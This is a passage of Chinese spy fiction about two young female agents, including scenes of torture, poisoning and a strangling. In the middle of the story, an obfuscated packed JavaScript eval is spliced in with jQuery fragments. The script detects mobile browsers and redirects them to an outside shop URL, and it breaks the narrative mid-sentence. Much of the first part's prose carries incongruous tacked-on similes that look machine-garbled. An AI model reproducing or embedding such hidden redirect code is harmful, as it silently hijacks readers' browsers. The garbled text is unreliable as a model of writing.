庞教官的回复很简短，像是电报：“爱德华斯是线索。我们在查。胶卷很重要，想办法拿到副本或内容。‘渔夫’可以接触，但要极度谨慎。真‘雪鸮’已经逃脱，刘易斯被杀的时间点与她逃脱接近，很可能是她本人或她指使的人所为——清理痕迹。”


    真雪鸮杀了刘易斯？为什么？灭口？报复？还是为了夺取军火控制权？——像是公司并购。


    叶馨蒙想起刘易斯尸体上那干净利落的枪伤。确实是职业手法。如果是真雪鸮亲自出手，完全有可能——像是专业厨师切菜。


    她感到一阵寒意，像是突然开了空调。那个她正在扮演的女人，那个她只在档案里见过的爪哇女特工，不仅逃脱了军方的严密监禁，还在逃脱后第一时间清除了自己的前联系人——效率真高。


    果断，冷酷，高效。


    这才是真正的雪鸮。而她，一个十九岁的女孩，正在试图扮演这样的存在，试图欺骗那些同样危险的人物——像是小孩扮大人。


    差距太大了。她第一次如此清晰地意识到这一点，像是照镜子看到痘痘。


    但已经没有退路了，像是上了贼船。


    叶馨蒙关掉通讯设备，走到窗前。雨已经停了，夜空开始放晴，几颗星星在云层缝隙中闪烁，像是偷看的眼睛。龟背岛的夜晚依然热闹，街道上传来音乐声、车声、人声，像是正常世界。


    她看着玻璃上自己的倒影：年轻的脸，疲惫的眼睛，紧抿的嘴唇——像是压力大的高中生。


    刘易斯死了。下一个会是谁？


    “渔夫”？阮文雄？还是她自己？——可能按顺序。


    她需要更快的进展，更准确的情报，更完美的表演。


    因为在这场游戏中，失误的代价不是扣分，而是死亡——没有补考。


    而死亡，往往来得突然而安静，就像今晚仓库里的刘易斯，在某个无人知晓的时刻，生命戛然而止，只留下一个血写的名字，和无数未解的谜团——像是悬疑小说开头。


    叶馨蒙离开窗户，开始准备联系“渔夫”的信息，手指在键盘上敲击。


    二十四小时。


    她只有二十四小时，像是一天倒计时。


    时间在流逝，而阴影，正在从四面八方聚拢，像是天黑。


    ————————————————


    黄安妮，她的人生像一本小说，跌宕起伏……情要从三年前那个该死的周末说起。


    那时黄安妮还不是“斑头鸺鹠”，只是瑆洲陆军第7情报支援营的一名普通下士，负责通讯截获和密码分析——说白了就是整天戴着耳机听别人打电话的枯燥工作。她的军旅生涯乏善可陈：入伍三年，升过一次衔，得过两次“优秀士兵”奖状，最大的成就是破解了某个走私团伙用来联络的儿童玩具密码。


    但那个周末不一样。


    那天是瑆洲的“城市节”，全城放假。营区里冷清得像殡仪馆，食堂的菜色比平时还糟糕——如果“糟糕”这个词还能用来形容本来就处于食物链底端的军用伙食的话。黄安妮和同寝室的三个女兵坐在宿舍里，盯着天花板上的霉斑发呆。


    “我听说码头区今晚有夜市。”林雅雯说，她是四人中最年轻的，入伍才一年，“烤鱿鱼、沙嗲串、还有那种会发光的饮料……”


    “擅自离营被抓到要关禁闭的。”王丽娟推了推眼镜，她是技术兵种，最守规矩。


    “关就关。”第三个女兵陈美玲从床上坐起来，“反正下周就要去丛林演习了，到时候想喝口干净水都难。不如现在出去爽一把。”


    黄安妮本来不想去的。她那天正好来例假，肚子疼得想把自己焊在床上。但林雅雯凑过来，用那种小狗似的眼神看着她：“安妮姐，一起去嘛。你不在我们害怕。”


    害怕个鬼。黄安妮心里想，但还是点了头。可能因为林雅雯让她想起了自己的表妹莎莎，那个同样会用无辜眼神骗人买冰淇淋的小混蛋。


    于是晚上八点，四个穿着便服的女兵翻过了营区西北角的围墙——那里有个监控盲区，是她们上次帮后勤兵搬东西时偶然发现的。落地时黄安妮的肚子疼得更厉害了，她开始后悔这个决定。


    但来都来了。


    夜市比她们想象中热闹。人群拥挤，音乐嘈杂，各种食物的气味混合在一起。她们挤在人群中，吃着烤串，喝着那种确实会发光的可疑饮料，暂时忘记了军规和纪律。


    然后事情就开始往荒诞的方向发展。


    首先，陈美玲喝多了那种发光饮料，开始拉着一个卖气球的小贩跳舞。小贩的表情像是看到了神经病。


    接着，王丽娟的眼镜在人群中被撞掉了，她蹲在地上摸来摸去，结果被人踩了一脚，发出杀猪般的惨叫。


    黄安妮捂着肚子，看着这场闹剧，突然有种不祥的预感。她想说“我们回去吧”，但话还没出口，林雅雯就指着远处：“看！那边有算命摊！我们去算算姻缘！”


    于是四个醉醺醺（或者肚子疼）的女兵挤到了一个吉普赛风格的算命摊前。摊主是个戴着夸张头巾的女人，脸上画着神秘图案，面前摆着水晶球和塔罗牌。


    “姑娘们想算什么？”摊主用带着口音的英语问。


    “姻缘！”林雅雯兴奋地说。


    摊主盯着水晶球看了半天，然后抬头，表情严肃：“我看到……危险。你们今晚会遇到危险。”


    黄安妮当时就该拉着她们逃跑的。


    但陈美玲大笑起来：“危险？什么危险？被宪兵抓到的危险吗？”


    摊主摇摇头，没有解释，只是重复：“很危险。非常危险。”


    她们付了钱，笑着离开，觉得这摊主真是会吓唬人。


    二十分钟后，预言成真了。


    四个女兵在一条小巷里被三个男人堵住了。不是宪兵——宪兵至少还讲规矩。这三个男人穿着普通的夹克和牛仔裤，但眼神和站姿暴露了他们的身份：职业的。


    “黄安妮下士？”为首的男人用爪哇语问。


    黄安妮的心沉到了谷底。她们不仅被发现了，而且对方知道她的名字。


    “你们是谁？”她反问，手悄悄摸向腰后——那里别着一把折叠刀，是夜市上买的纪念品。


    男人笑了，那笑容里没有任何温度：“跟我们走一趟。安静点，不会伤害你们。”


    后来的事情黄安妮记得很模糊。好像有挣扎，有叫喊，但很快就结束了。对方显然受过专业训练，三下五除二就制服了她们四个——其中两个还是受过基础格斗训练的士兵，但在真正的专业人士面前就像小孩子。


    她们被蒙上眼睛，塞进一辆车，开了不知道多久。等眼罩被取下时，已经在一个没有窗户的房间里了。


    房间里除了她们，还有两个男人。一个坐在椅子上，穿着西装，看起来很温和；另一个站着，肌肉发达，面无表情。


    “晚上好，女士们。”穿西装的男人用流利的瑆洲话说，“我是萨尼托少校，爪哇情报局的。抱歉用这种方式请你们来，但情况特殊。”


    陈美玲第一个反应过来：“你们这是绑架！我们是瑆洲军人！外交事件！”


    萨尼托少校微笑：“是的，我知道。但如果你们的上级知道你们今晚擅自离营，还喝了酒，会不会先处罚你们呢？”


    沉默。他说得对。如果这事曝光，她们的前途就完了。


    “你想要什么？”黄安妮问，尽量保持冷静。


    “合作。”萨尼托说，“很简单。我们需要一些信息，关于你们营最近截获的一些通讯。你们提供，我们放你们走，而且保证这件事不会传到你们上级那里。”


    “不可能。”王丽娟说，“那是军事机密。”


    萨尼托叹了口气，好像很遗憾：“那我只好换个方式了。”


    他对那个肌肉男点了点头。肌肉男走向林雅雯——最年轻、最胆小的那个。


    接下来的事情黄安妮不愿意回忆。总之，肌肉男用了些“不太温柔”的手段，林雅雯的惨叫声在房间里回荡。陈美玲和王丽娟试图反抗，但被轻易制服。


    黄安妮坐在那里，肚子疼，头晕，耳朵里全是林雅雯的哭声和朋友的叫骂。她看着萨尼托，那个男人依然微笑着，好像在看一场无聊的舞台剧。


    “停。”当林雅雯几乎昏厥时，萨尼托终于说。他走到黄安妮面前，蹲下，与她平视：“现在呢？合作吗？”


    黄安妮看着朋友们。林雅雯脸上全是泪，陈美玲和王丽娟被按在地上，眼神里充满了恐惧和愤怒。


    “如果我说不呢？”她问，声音颤抖。


    萨尼托笑了，那是黄安妮见过最恶心的笑容：“那我就只好一个个来了。先从那个戴眼镜的开始？还是这个跳舞的？”


    黄安妮闭上了眼睛。三秒钟后，她睁开：“我合作。”


    “安妮！”陈美玲喊道。


    “闭嘴！”黄安妮第一次对她吼，“你想大家都死在这里吗？”


    萨尼托鼓掌：“明智的选择。那么，我们先从……”


    他的话没说完，因为门突然开了。另一个男人走进来，在萨尼托耳边低语了几句。萨尼托的表情变了，从温和变得冰冷。


    “计划有变。”他站起来，“我们得转移。有人注意到了。”


    肌肉男开始行动。他走向林雅雯，手里多了一个注射器。


    “你要干什么？”黄安妮喊道。


    “镇静剂。”萨尼托说，“让她们安静点。放心，不会死的。”


    但黄安妮看到了注射器里的液体——那不是普通的镇静剂，颜色不对，剂量也太大。


    “等等——”她想要站起来，但肚子一阵剧痛，又坐了回去。


    注射器刺进了林雅雯的脖子。几秒钟后，女孩的身体开始抽搐，眼睛翻白，嘴角冒出白沫。


    那不是镇静剂。


    陈美玲和王丽娟开始疯狂挣扎，但肌肉男动作很快。两个注射器，两次刺入，同样的反应。


    黄安妮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937060|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着三个朋友在地上抽搐，生命一点点流逝。她想吐，但胃里空空如也。她想哭，但眼泪流不出来。她只是坐在那里，像一尊石像。


    萨尼托走到她面前，手里拿着第四个注射器：“轮到你了。除非……”


    “除非什么？”黄安妮的声音像从很远的地方传来。


    “除非你真正加入我们。”萨尼托说，“不是一次合作，是永久性的。为我们工作，成为我们的人。那样你就能活，而且会有很好的报酬。”


    黄安妮看着地上的三具尸体。十分钟前，她们还在夜市上笑着、吃着、喝着发光的饮料。现在她们死了，死在这个没有窗户的房间里，死得毫无意义。


    “为什么是我？”她问。


    “因为你最聪明。”萨尼托说，“资料显示你是你们营最好的密码分析员。我们需要这样的人才。”


    “如果我拒绝呢？”


    萨尼托举起了注射器。


    黄安妮沉默了五秒。然后她说：“好。”


    就这样，黄安妮·林下士死了，“斑头鸺鹠”诞生了。


    ***


    一年后，黄安妮已经习惯了双重生活。表面上，她以“健康原因”从瑆洲陆军退伍，现在在一家进出口公司做文员。实际上，她是爪哇情报局在瑆洲的潜伏特工，代号“斑头鸺鹠”，负责收集经济和军事情报。


    她学会了如何平静地看着曾经的同僚，知道他们的秘密，然后把这些秘密传给敌人。她学会了如何撒谎，如何伪装，如何在夜里被噩梦惊醒后继续入睡。


    最讽刺的是，她其实做得不错。萨尼托少校（现在是上校了）对她很满意，给她的报酬也确实丰厚。她用这些钱给父母买了新房子，给自己买了名牌包包和衣服——好像物质能填补内心的空洞似的。


    但空洞还是在那里，每天晚上都张着大口，想要吞噬她。


    直到表妹莎莎出事。


    莎莎比黄安妮小八岁，是个天真到愚蠢的大学生，学的是美术，整天画些谁也看不懂的抽象画。她对表姐的“真实工作”一无所知，只知道安妮姐从军队退役后找了份不错的工作，经常出国出差，每次都给她带礼物。


    那个周末，莎莎来黄安妮的公寓玩，说要借一些“有异国情调”的东西当绘画素材。黄安妮正好要出去见一个线人，就让莎莎自己待着。


    “别碰我书房的东西。”她走前叮嘱，“特别是那个红色文件夹。”


    “知道啦知道啦。”莎莎挥挥手，已经打开了电视。


    黄安妮应该更谨慎的。但她那天很累，那个线人很难搞，她满脑子都是如何完成任务，忘了莎莎是个好奇心能害死九只猫的人。


    四小时后她回来时，莎莎不在客厅。书房的门半开着。


    黄安妮的心跳漏了一拍。她冲进去，看到莎莎坐在她的电脑前，脸色苍白，手里拿着那个红色文件夹。


    文件夹里是黄安妮这个月要传递的情报原件——瑆洲港口安检升级计划的详细内容，还有几张偷拍的照片。


    “安妮姐……”莎莎的声音在颤抖，“这是什么？”


    黄安妮的大脑一片空白。她想过无数种暴露的方式：被瑆洲反情报部门发现，被组织内部的人出卖，甚至自己不小心犯错。但她从没想过，会是自己那个画抽象画的傻表妹。


    “莎莎，听我解释……”她走过去，声音尽量平静。


    “这些是……军事机密吧？”莎莎翻看着文件，“你为什么要偷拍这些？还有这些爪哇文的笔记……”


    “把文件夹给我。”黄安妮伸出手。


    莎莎看着她，眼神从困惑变成了恐惧：“安妮姐，你在为谁工作？”


    糟糕的问题。更糟糕的是，莎莎问的时候，眼睛瞥向了书桌抽屉——那里有一把黄安妮防身用的手枪。


    接下来的事情发生得很快。


    莎莎冲向书桌。黄安妮也动了。两人几乎同时到达，莎莎的手碰到了抽屉把手，黄安妮的手抓住了她的手腕。


    “放手！”莎莎挣扎。


    “莎莎，冷静点！”


    “你要把这些卖给外国人！你是叛徒！”


    这个词像一把刀刺进黄安妮的心脏。她想解释，想告诉莎莎那天晚上在夜市发生的事情，想告诉她三个朋友是怎么死的，想告诉她有时候选择不是黑白分明的。


    但莎莎不听。她疯了似的挣扎，尖叫着要报警。


    黄安妮捂住了她的嘴。莎莎咬了她，很用力，血渗出来。疼痛让黄安妮失去了理智，她用了在爪哇情报局学到的擒拿技巧，把莎莎按在地上，一只手捂住她的嘴，另一只手卡住她的脖子。


    “安静！莎莎，求你安静！”她低声说。


    但莎莎安静不了。她继续挣扎，踢打，眼睛瞪得大大的，里面充满了愤怒和背叛。


    黄安妮的手越收越紧。她不知道自己在做什么，只是本能地想让她安静，想让这一切停止。


    等意识到时，莎莎已经不动了。